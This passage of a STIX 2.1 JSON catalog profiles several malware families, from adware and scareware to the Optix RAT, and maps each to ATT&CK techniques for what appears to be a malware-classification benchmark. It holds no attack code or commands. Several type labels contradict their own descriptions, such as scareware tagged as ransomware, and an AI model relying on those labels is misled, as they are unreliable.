      "spec_version": "2.1",
      "id": "relationship--ed9c49bb-0067-5d48-ad83-284781707b0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--228764b1-ac1d-5288-8ae1-598c5ac2c07f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openshopper exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52b67940-db7f-554e-b91b-15166354c71d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--228764b1-ac1d-5288-8ae1-598c5ac2c07f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openshopper exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6e0639e-798f-562f-abb9-1dc4c50be2fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--228764b1-ac1d-5288-8ae1-598c5ac2c07f",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Openshopper exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--34596277-69e9-51bb-b6b5-1e0ba538677b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Opensupdater",
      "description": "OpenSUpdater (detected across endpoint security engines under signatures including Adware:Win32/OpenSUpdater, PUA:Win32/OpenSUpdater, and OpenSoftwareUpdater) is a sophisticated software bundler and adware delivery platform active since 2017. Gaining widespread industry attention following technical disclosures by Google's Threat Analysis Group (TAG), OpenSUpdater was observed abusing intentionally malformed Authenticode digital signatures. These corrupted signature structures exploited parsing discrepancies between open-source cryptographic libraries (such as OpenSSL) and the native Windows operating system loader, effectively blinding third-party security scanners while allowing Windows to execute the payload. Distributed inside cracked software bundles, keygens, and deceptive freeware utilities, OpenSUpdater establishes persistence via Windows Registry Run keys and scheduled tasks, silently injects invasive pop-up and banner advertisements into visited web pages, and acts as a secondary dropper for browser search hijackers and promotional toolbars. (Observed samples in benchmark: 91)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/OpenSUpdater",
        "PUA:Win32/OpenSUpdater",
        "Win32/OpenSUpdater",
        "OpenSoftwareUpdater"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Opensupdater",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/opensupdater"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fab9795-bc68-510a-a7e3-1d30783bb8f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34596277-69e9-51bb-b6b5-1e0ba538677b",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opensupdater exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbaaf988-23bf-555b-bfd5-8417a6b9ef91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34596277-69e9-51bb-b6b5-1e0ba538677b",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opensupdater exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d4f63fa-e8b2-5bee-a1e7-1f30cb3ffa58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34596277-69e9-51bb-b6b5-1e0ba538677b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opensupdater exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bce94ca1-17f2-5b21-aacc-d2bc015dd75b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34596277-69e9-51bb-b6b5-1e0ba538677b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opensupdater exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1188cbf-9988-5dc9-be22-8dbb825a2c11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--34596277-69e9-51bb-b6b5-1e0ba538677b",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opensupdater exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c0861cc-8430-51ed-9e0a-6ad200702751",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Opesup",
      "description": "Trojan:Win32/Opesup is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Opesup</b><br>To an end-user, a Opesup infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Opesup is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Opesup is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Opesup frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Opesup reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Opesup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/opesup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7ab2892-09f9-5850-9631-bd4fcc32dde9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c0861cc-8430-51ed-9e0a-6ad200702751",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opesup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--866259f1-b462-5a88-972f-541024f80ede",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c0861cc-8430-51ed-9e0a-6ad200702751",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opesup exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f00b4b46-88bf-52f9-8643-66964677c354",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c0861cc-8430-51ed-9e0a-6ad200702751",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opesup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b7aeda5-8c89-506b-b84d-aa13aed4fad9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c0861cc-8430-51ed-9e0a-6ad200702751",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opesup exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24e2c8f9-5a4d-5455-b5b4-d0e8a7a00d4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c0861cc-8430-51ed-9e0a-6ad200702751",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opesup exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4465c6ab-7e02-572f-accd-5355e501d411",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Opriupdater",
      "description": "<h3>Executive Summary</h3>\nOpriupdater is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware that primarily targets casual users by masquerading as a critical system or software update tool. Its true objective is to monetize the user's system by hijacking web traffic, altering browser configurations, and injecting highly intrusive, unclosable advertisements, often utilizing fear-based tactics (scareware) to prompt further software purchases.\n\n<h3>Distribution and Technical Behavior</h3>\nOpriupdater is heavily distributed via deceptive advertising networks, fake \"Your Flash Player is Out of Date\" pop-ups, and bundled within the installers of \"free\" software downloaded from low-reputation download portals.\n\nOnce installed, Opriupdater deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Fake Scans and Scareware:</strong> The software frequently runs unsolicited \"system scans\" that inevitably \"discover\" dozens of critical errors or performance issues. It then aggressively prompts the user to purchase a premium version of the \"updater\" to fix these fabricated problems.</li>\n<li><strong>Browser Hijacking:</strong> The PUP forcefully alters the browser's default search engine, homepage, and new tab settings. It redirects all search traffic through a specific portal controlled by the adware operators, allowing them to intercept queries and generate pay-per-click revenue.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, Opriupdater creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its fake scanning and ad-serving components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Opriupdater is not a destructive virus (it does not encrypt files or steal banking credentials), it introduces massive operational friction, financial risk (via scareware purchases), and privacy risks. The continuous fake alerts degrade system performance, and the hijacked search results are frequently served by low-tier ad networks, increasing the risk of exposure to more severe \"malvertising.\"\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the Opriupdater executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>User Education:</strong> Train users to recognize fake \"update\" pop-ups and to only download software patches directly from the official vendor's website or via centralized corporate patch management systems.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Opriupdater",
        "PUP.Opriupdater",
        "BrowserModifier:Win32/Opriupdater"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Opriupdater",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/opriupdater"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f51def3-5af8-5ebf-8ab4-045391a8da66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4465c6ab-7e02-572f-accd-5355e501d411",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opriupdater exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97d1f8ac-62ab-5883-96eb-746f2df21d96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4465c6ab-7e02-572f-accd-5355e501d411",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opriupdater exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e8df0d6-76e3-51c7-8570-261e920e2e30",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4465c6ab-7e02-572f-accd-5355e501d411",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Opriupdater exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7c38902-641e-57b3-858f-6f0422ee8b1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Optimizer",
      "description": "Optimizer (classified across security vendors under designations including PUA:Win32/Optimizer, Program:Win32/Optimizer, and Rogue:Win32/Optimizer) is a rogue PC optimization utility and Potentially Unwanted Application that employs scareware tactics to monetize fraudulent software sales. Distributed via pay-per-install bundles, deceptive software updaters, and aggressive browser pop-ups, Optimizer runs simulated system diagnostics that report hundreds of fabricated system registry corruptions, performance bottlenecks, and private browsing traces as critical hazards. It locks the cleanup functionality behind an expensive payment gateway, continuously bombarding users with nag screens and registering autostart entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Optimizer",
        "Program:Win32/Optimizer",
        "Rogue:Win32/Optimizer",
        "Optimizer Utility",
        "Win32/Optimizer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Optimizer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/optimizer"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62b2c439-f6c7-5ced-8d18-1d8e2dd18956",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7c38902-641e-57b3-858f-6f0422ee8b1a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optimizer exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02dcbe61-7aac-53a8-8761-d3243f5fcbd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7c38902-641e-57b3-858f-6f0422ee8b1a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optimizer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--814abf3e-853c-5a1b-9c22-f28ec7286caf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7c38902-641e-57b3-858f-6f0422ee8b1a",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optimizer exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecfdd08a-d7e4-5915-8de4-d1160045ec86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7c38902-641e-57b3-858f-6f0422ee8b1a",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optimizer exhibits technique T1491 (Defacement (UI Manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--228197be-39f6-53fb-8cb0-56e365f8d6fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7c38902-641e-57b3-858f-6f0422ee8b1a",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optimizer exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4d06e50d-d04c-59a4-89db-5fdca5487ac9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Optispeed",
      "description": "<h3>Executive Summary</h3>\nOptispeed is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate system optimization tool or PC performance booster. Its true purpose is to perform fake system scans, generate alarming false-positive error reports (scareware tactics), and heavily monetize the infected endpoint through the sale of \"premium licenses\" and forced advertisement injection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOptispeed relies heavily on deceptive software bundling and aggressive malvertising. Users typically encounter it via pop-up ads claiming their \"PC is slow\" or when downloading freeware from third-party aggregators, where the software is installed silently in the background.\n\nOnce installed, the software employs highly aggressive and deceptive tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports that the registry is corrupt or the hard drive is failing, creating a false sense of urgency.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants of Optispeed may employ locking tactics. They may disable the Task Manager or constantly overlay the screen with warnings, effectively holding the system hostage until the user pays the ransom (buys the \"license\").</li>\n<li><strong>Browser Hijacking:</strong> It frequently installs accompanying browser extensions to inject advertisements and redirect search queries to affiliate-monetized search engines.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, Optispeed poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is almost always necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.OptiSpeed",
        "Rogue.OptiSpeed",
        "Win32/FakeOptimizer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Optispeed",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/optispeed"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--822fa869-48d7-5d5b-b2fb-63fa3e607bb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d06e50d-d04c-59a4-89db-5fdca5487ac9",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optispeed exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4d80971-1d92-518a-beee-030a1cf42ec7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d06e50d-d04c-59a4-89db-5fdca5487ac9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optispeed exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed789b15-c672-54c4-b488-03ac34efc7a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d06e50d-d04c-59a4-89db-5fdca5487ac9",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optispeed exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--39a441d5-ba8d-584f-a672-812704c6b2bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Optix",
      "description": "<h3>Executive Summary</h3>\nOptix (most commonly referring to Optix Pro) is a notorious and highly capable Remote Access Trojan (RAT) that gained prominence in the early 2000s. Engineered to provide attackers with covert, persistent, and fully interactive control over compromised Windows endpoints, Optix Pro is widely regarded as one of the most feature-rich \"classic\" RATs, laying the groundwork for many modern espionage tools utilized by cybercriminal syndicates.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOptix Pro is primarily distributed via targeted spear-phishing campaigns utilizing weaponized attachments, malicious spam (malspam), or silently dropped by exploit kits executing on compromised websites.\n\nOnce executed, Optix focuses on establishing a deep, persistent foothold:\n<ul>\n<li><strong>Covert C2 Communication:</strong> The RAT establishes a persistent connection to its command-and-control (C2) server. It typically operates on specific TCP ports (often configurable by the attacker) and utilizes custom encryption to hide its command traffic from basic packet inspection.</li>\n<li><strong>Comprehensive Espionage:</strong> Optix provides the attacker with a vast array of surveillance capabilities. This includes full file system manipulation, real-time keylogging, remote registry editing, password extraction (from browsers and IM clients), desktop screen capturing, and the ability to silently activate connected webcams or microphones.</li>\n<li><strong>System Sabotage and Defense Evasion:</strong> The RAT contains specific routines to hunt for and forcefully terminate known antivirus and personal firewall processes, ensuring its continued operation. It also allows the attacker to execute arbitrary shell commands, lock the keyboard/mouse, or reboot the infected machine.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Optix Pro infection is a critical security incident. The malware's extensive capabilities mean that the compromised endpoint is fully under the control of the attacker, leading to the immediate loss of intellectual property, compromised user credentials, and the high likelihood of lateral movement across the enterprise network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's network connection immediately to halt the C2 communication and prevent active data exfiltration.</li>\n<li><strong>Forensic Analysis:</strong> Because advanced RATs often modify core system files, perform memory forensics and disk analysis to identify the specific C2 configuration for enterprise-wide IOC blocking.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any stored in browsers or password managers, are fully compromised. Initiate an immediate, organization-wide password reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.OptixPro",
        "Trojan.Optix",
        "Win32/Optix"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Optix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/optix"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4470889e-5f71-574e-b2f1-5e8d40ccabac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39a441d5-ba8d-584f-a672-812704c6b2bd",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optix exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b68ba13-bd9d-587e-bcb5-f348f2aef058",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39a441d5-ba8d-584f-a672-812704c6b2bd",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optix exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7a8e94c-6bce-5480-9eee-227a19029c12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39a441d5-ba8d-584f-a672-812704c6b2bd",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optix exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e60ba44e-6cda-5578-bf4a-bd970351b805",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39a441d5-ba8d-584f-a672-812704c6b2bd",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Optix exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0f292bf6-3123-5c05-be58-bb6fc35ce682",
      "created": "2026-01-01T00:00:00.000Z",
